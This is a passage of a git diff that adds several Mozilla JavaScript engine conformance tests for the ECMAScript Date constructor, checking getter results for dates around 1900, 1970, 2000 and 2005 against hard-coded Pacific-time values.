+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// Dates around 1970
+
+addNewTestCase( new Date( 1969,11,31,15,59,59,999),
+ "new Date( 1969,11,31,15,59,59,999)",
+ [TIME_1970-1,1969,11,31,3,23,59,59,999,1969,11,31,3,15,59,59,999] );
+
+addNewTestCase( new Date( 1969,11,31,23,59,59,999),
+ "new Date( 1969,11,31,23,59,59,999)",
+ [TIME_1970-PST_ADJUST-1,1970,0,1,4,7,59,59,999,1969,11,31,3,23,59,59,999] );
+
+addNewTestCase( new Date( 1970,0,1,0,0,0,0),
+ "new Date( 1970,0,1,0,0,0,0)",
+ [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date( 1969,11,31,16,0,0,0),
+ "new Date( 1969,11,31,16,0,0,0)",
+ [TIME_1970,1970,0,1,4,0,0,0,0,1969,11,31,3,16,0,0,0] );
+
+addNewTestCase( new Date(1969,12,1,0,0,0,0),
+ "new Date(1969,12,1,0,0,0,0)",
+ [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date(1969,11,32,0,0,0,0),
+ "new Date(1969,11,32,0,0,0,0)",
+ [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date(1969,11,31,24,0,0,0),
+ "new Date(1969,11,31,24,0,0,0)",
+ [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date(1969,11,31,23,60,0,0),
+ "new Date(1969,11,31,23,60,0,0)",
+ [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date(1969,11,31,23,59,60,0),
+ "new Date(1969,11,31,23,59,60,0)",
+ [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+addNewTestCase( new Date(1969,11,31,23,59,59,1000),
+ "new Date(1969,11,31,23,59,59,1000)",
+ [TIME_1970-PST_ADJUST,1970,0,1,4,8,0,0,0,1970,0,1,4,0,0,0,0] );
+
+// Dates around 2000
+
+addNewTestCase( new Date( 1999,11,31,15,59,59,999),
+ "new Date( 1999,11,31,15,59,59,999)",
+ [TIME_2000-1,1999,11,31,5,23,59,59,999,1999,11,31,5,15,59,59,999] );
+
+addNewTestCase( new Date( 1999,11,31,16,0,0,0),
+ "new Date( 1999,11,31,16,0,0,0)",
+ [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] );
+
+addNewTestCase( new Date( 1999,11,31,23,59,59,999),
+ "new Date( 1999,11,31,23,59,59,999)",
+ [TIME_2000-PST_ADJUST-1,2000,0,1,6,7,59,59,999,1999,11,31,5,23,59,59,999] );
+
+addNewTestCase( new Date( 2000,0,1,0,0,0,0),
+ "new Date( 2000,0,1,0,0,0,0)",
+ [TIME_2000-PST_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date( 2000,0,1,0,0,0,1),
+ "new Date( 2000,0,1,0,0,0,1)",
+ [TIME_2000-PST_ADJUST+1,2000,0,1,6,8,0,0,1,2000,0,1,6,0,0,0,1] );
+
+// Dates around 29 Feb 2000
+
+addNewTestCase( new Date(2000,1,28,16,0,0,0),
+ "new Date(2000,1,28,16,0,0,0)",
+ [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] );
+
+addNewTestCase( new Date(2000,1,29,0,0,0,0),
+ "new Date(2000,1,29,0,0,0,0)",
+ [UTC_FEB_29_2000-PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+addNewTestCase( new Date(2000,1,28,24,0,0,0),
+ "new Date(2000,1,28,24,0,0,0)",
+ [UTC_FEB_29_2000-PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+// Dates around 1900
+
+addNewTestCase( new Date(1899,11,31,16,0,0,0),
+ "new Date(1899,11,31,16,0,0,0)",
+ [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] );
+
+addNewTestCase( new Date(1899,11,31,15,59,59,999),
+ "new Date(1899,11,31,15,59,59,999)",
+ [TIME_1900-1,1899,11,31,0,23,59,59,999,1899,11,31,0,15,59,59,999] );
+
+addNewTestCase( new Date(1899,11,31,23,59,59,999),
+ "new Date(1899,11,31,23,59,59,999)",
+ [TIME_1900-PST_ADJUST-1,1900,0,1,1,7,59,59,999,1899,11,31,0,23,59,59,999] );
+
+addNewTestCase( new Date(1900,0,1,0,0,0,0),
+ "new Date(1900,0,1,0,0,0,0)",
+ [TIME_1900-PST_ADJUST,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] );
+
+addNewTestCase( new Date(1900,0,1,0,0,0,1),
+ "new Date(1900,0,1,0,0,0,1)",
+ [TIME_1900-PST_ADJUST+1,1900,0,1,1,8,0,0,1,1900,0,1,1,0,0,0,1] );
+
+// Dates around 2005
+
+addNewTestCase( new Date(2005,0,1,0,0,0,0),
+ "new Date(2005,0,1,0,0,0,0)",
+ [UTC_JAN_1_2005-PST_ADJUST,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date(2004,11,31,16,0,0,0),
+ "new Date(2004,11,31,16,0,0,0)",
+ [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] );
+
+test();
+
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.3.1-2.js b/js/src/tests/ecma/Date/15.9.3.1-2.js
new file mode 100644
index 000000000..81a88e372
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.1-2.js
@@ -0,0 +1,118 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.9.3.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+
+// Dates around 2000
+
+addNewTestCase( new Date( 1999,11,31,15,59,59,999),
+ "new Date( 1999,11,31,15,59,59,999)",
+ [TIME_2000-1,1999,11,31,5,23,59,59,999,1999,11,31,5,15,59,59,999] );
+
+addNewTestCase( new Date( 1999,11,31,16,0,0,0),
+ "new Date( 1999,11,31,16,0,0,0)",
+ [TIME_2000,2000,0,1,6,0,0,0,0,1999,11,31,5, 16,0,0,0] );
+
+addNewTestCase( new Date( 1999,11,31,23,59,59,999),
+ "new Date( 1999,11,31,23,59,59,999)",
+ [TIME_2000-PST_ADJUST-1,2000,0,1,6,7,59,59,999,1999,11,31,5,23,59,59,999] );
+
+addNewTestCase( new Date( 2000,0,1,0,0,0,0),
+ "new Date( 2000,0,1,0,0,0,0)",
+ [TIME_2000-PST_ADJUST,2000,0,1,6,8,0,0,0,2000,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date( 2000,0,1,0,0,0,1),
+ "new Date( 2000,0,1,0,0,0,1)",
+ [TIME_2000-PST_ADJUST+1,2000,0,1,6,8,0,0,1,2000,0,1,6,0,0,0,1] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.1-3.js b/js/src/tests/ecma/Date/15.9.3.1-3.js
new file mode 100644
index 000000000..2cca39586
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.1-3.js
@@ -0,0 +1,107 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.9.3.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+addNewTestCase( new Date(2000,1,28,16,0,0,0),
+ "new Date(2000,1,28,16,0,0,0)",
+ [UTC_FEB_29_2000,2000,1,29,2,0,0,0,0,2000,1,28,1,16,0,0,0] );
+
+addNewTestCase( new Date(2000,1,29,0,0,0,0),
+ "new Date(2000,1,29,0,0,0,0)",
+ [UTC_FEB_29_2000 - PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+addNewTestCase( new Date(2000,1,28,24,0,0,0),
+ "new Date(2000,1,28,24,0,0,0)",
+ [UTC_FEB_29_2000 - PST_ADJUST,2000,1,29,2,8,0,0,0,2000,1,29,2,0,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.1-4.js b/js/src/tests/ecma/Date/15.9.3.1-4.js
new file mode 100644
index 000000000..4925dcf43
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.1-4.js
@@ -0,0 +1,117 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.9.3.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+
+// Dates around 1900
+
+addNewTestCase( new Date(1899,11,31,16,0,0,0),
+ "new Date(1899,11,31,16,0,0,0)",
+ [TIME_1900,1900,0,1,1,0,0,0,0,1899,11,31,0,16,0,0,0] );
+
+addNewTestCase( new Date(1899,11,31,15,59,59,999),
+ "new Date(1899,11,31,15,59,59,999)",
+ [TIME_1900-1,1899,11,31,0,23,59,59,999,1899,11,31,0,15,59,59,999] );
+
+addNewTestCase( new Date(1899,11,31,23,59,59,999),
+ "new Date(1899,11,31,23,59,59,999)",
+ [TIME_1900-PST_ADJUST-1,1900,0,1,1,7,59,59,999,1899,11,31,0,23,59,59,999] );
+
+addNewTestCase( new Date(1900,0,1,0,0,0,0),
+ "new Date(1900,0,1,0,0,0,0)",
+ [TIME_1900-PST_ADJUST,1900,0,1,1,8,0,0,0,1900,0,1,1,0,0,0,0] );
+
+addNewTestCase( new Date(1900,0,1,0,0,0,1),
+ "new Date(1900,0,1,0,0,0,1)",
+ [TIME_1900-PST_ADJUST+1,1900,0,1,1,8,0,0,1,1900,0,1,1,0,0,0,1] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
diff --git a/js/src/tests/ecma/Date/15.9.3.1-5.js b/js/src/tests/ecma/Date/15.9.3.1-5.js
new file mode 100644
index 000000000..51b997ef5
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.1-5.js
@@ -0,0 +1,106 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
+ 8. If Result(1) is NaN and 0 <= ToInteger(Result(1)) <=
+ 99, Result(8) is 1900+ToInteger(Result(1)); otherwise,
+ Result(8) is Result(1)
+ 9. Compute MakeDay(Result(8), Result(2), Result(3)
+ 10. Compute MakeTime(Result(4), Result(5), Result(6),
+ Result(7)
+ 11. Compute MakeDate(Result(9), Result(10))
+ 12. Set the [[Value]] property of the newly constructed
+ object to TimeClip(UTC(Result(11))).
+
+
+ This tests the returned value of a newly constructed
+ Date object.
+
+ Author: christine@netscape.com
+ Date: 7 july 1997
+*/
+
+var SECTION = "15.9.3.1";
+var VERSION = "ECMA_1";
+startTest();
+var TITLE = "new Date( year, month, date, hours, minutes, seconds, ms )";
+
+var TIME = 0;
+var UTC_YEAR = 1;
+var UTC_MONTH = 2;
+var UTC_DATE = 3;
+var UTC_DAY = 4;
+var UTC_HOURS = 5;
+var UTC_MINUTES = 6;
+var UTC_SECONDS = 7;
+var UTC_MS = 8;
+
+var YEAR = 9;
+var MONTH = 10;
+var DATE = 11;
+var DAY = 12;
+var HOURS = 13;
+var MINUTES = 14;
+var SECONDS = 15;
+var MS = 16;
+
+writeHeaderToLog( SECTION + " "+ TITLE);
+
+// all the "ResultArrays" below are hard-coded to Pacific Standard Time values -
+
+// Dates around 2005
+
+addNewTestCase( new Date(2005,0,1,0,0,0,0),
+ "new Date(2005,0,1,0,0,0,0)",
+ [UTC_JAN_1_2005-PST_ADJUST,2005,0,1,6,8,0,0,0,2005,0,1,6,0,0,0,0] );
+
+addNewTestCase( new Date(2004,11,31,16,0,0,0),
+ "new Date(2004,11,31,16,0,0,0)",
+ [UTC_JAN_1_2005,2005,0,1,6,0,0,0,0,2004,11,31,5,16,0,0,0] );
+
+test();
+
+function addNewTestCase( DateCase, DateString, ResultArray ) {
+ //adjust hard-coded ResultArray for tester's timezone instead of PST
+ adjustResultArray(ResultArray);
+
+ new TestCase( SECTION, DateString+".getTime()", ResultArray[TIME], DateCase.getTime() );
+ new TestCase( SECTION, DateString+".valueOf()", ResultArray[TIME], DateCase.valueOf() );
+
+ new TestCase( SECTION, DateString+".getUTCFullYear()", ResultArray[UTC_YEAR], DateCase.getUTCFullYear() );
+ new TestCase( SECTION, DateString+".getUTCMonth()", ResultArray[UTC_MONTH], DateCase.getUTCMonth() );
+ new TestCase( SECTION, DateString+".getUTCDate()", ResultArray[UTC_DATE], DateCase.getUTCDate() );
+ new TestCase( SECTION, DateString+".getUTCDay()", ResultArray[UTC_DAY], DateCase.getUTCDay() );
+ new TestCase( SECTION, DateString+".getUTCHours()", ResultArray[UTC_HOURS], DateCase.getUTCHours() );
+ new TestCase( SECTION, DateString+".getUTCMinutes()", ResultArray[UTC_MINUTES],DateCase.getUTCMinutes() );
+ new TestCase( SECTION, DateString+".getUTCSeconds()", ResultArray[UTC_SECONDS],DateCase.getUTCSeconds() );
+ new TestCase( SECTION, DateString+".getUTCMilliseconds()", ResultArray[UTC_MS], DateCase.getUTCMilliseconds() );
+
+ new TestCase( SECTION, DateString+".getFullYear()", ResultArray[YEAR], DateCase.getFullYear() );
+ new TestCase( SECTION, DateString+".getMonth()", ResultArray[MONTH], DateCase.getMonth() );
+ new TestCase( SECTION, DateString+".getDate()", ResultArray[DATE], DateCase.getDate() );
+ new TestCase( SECTION, DateString+".getDay()", ResultArray[DAY], DateCase.getDay() );
+ new TestCase( SECTION, DateString+".getHours()", ResultArray[HOURS], DateCase.getHours() );
+ new TestCase( SECTION, DateString+".getMinutes()", ResultArray[MINUTES], DateCase.getMinutes() );
+ new TestCase( SECTION, DateString+".getSeconds()", ResultArray[SECONDS], DateCase.getSeconds() );
+ new TestCase( SECTION, DateString+".getMilliseconds()", ResultArray[MS], DateCase.getMilliseconds() );
+}
+
diff --git a/js/src/tests/ecma/Date/15.9.3.2-1.js b/js/src/tests/ecma/Date/15.9.3.2-1.js
new file mode 100644
index 000000000..77661db32
--- /dev/null
+++ b/js/src/tests/ecma/Date/15.9.3.2-1.js
@@ -0,0 +1,116 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+/**
+ File Name: 15.9.3.1.js
+ ECMA Section: 15.9.3.1 new Date (year, month, date, hours, minutes, seconds, ms)
+ Description: The [[Prototype]] property of the newly constructed
+ object is set to the original Date prototype object,
+ the one that is the initial value of Date.prototype.
+
+ The [[Class]] property of the newly constructed object
+ is set as follows:
+ 1. Call ToNumber(year)
+ 2. Call ToNumber(month)
+ 3. Call ToNumber(date)
+ 4. Call ToNumber(hours)
+ 5. Call ToNumber(minutes)
+ 6. Call ToNumber(seconds)
+ 7. Call ToNumber(ms)
